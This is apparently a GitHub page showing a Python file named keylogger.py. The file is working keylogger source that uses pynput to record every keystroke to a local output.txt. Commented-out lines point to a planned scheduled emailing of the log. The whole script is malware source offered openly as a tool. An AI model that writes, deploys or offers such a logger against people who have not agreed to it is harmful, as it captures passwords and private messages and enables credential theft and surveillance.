-
Notifications
You must be signed in to change notification settings - Fork 9
/
keylogger.py
48 lines (33 loc) · 1.1 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import pip
#pip.main(['install','pynput'])
from pynput import keyboard
#import schedule
import os
from time import strftime,gmtime
import datetime
#mouse=Controller()
def on_press(key):
print(datetime.datetime.now().strftime("%H:%M:%S"))
try:
f=open('output.txt',"a")
f.write(key.char)
#schedule.every(1).minutes.do(sendmail)
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
#print(keyboard.KeyCode)
if key==keyboard.Key.space:
f.write(' ')
if key==keyboard.Key.enter:
f.write(os.linesep)
if key==keyboard.Key.backspace:
f.seek(-1,os.SEEK_CUR)
f.write('')
#print("Sent mail")
def on_release(key):
if int(datetime.datetime.now().strftime("%H")) not in range(8,23):
return False
#return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
#schedule.every(0.01).minutes.do(sendmail)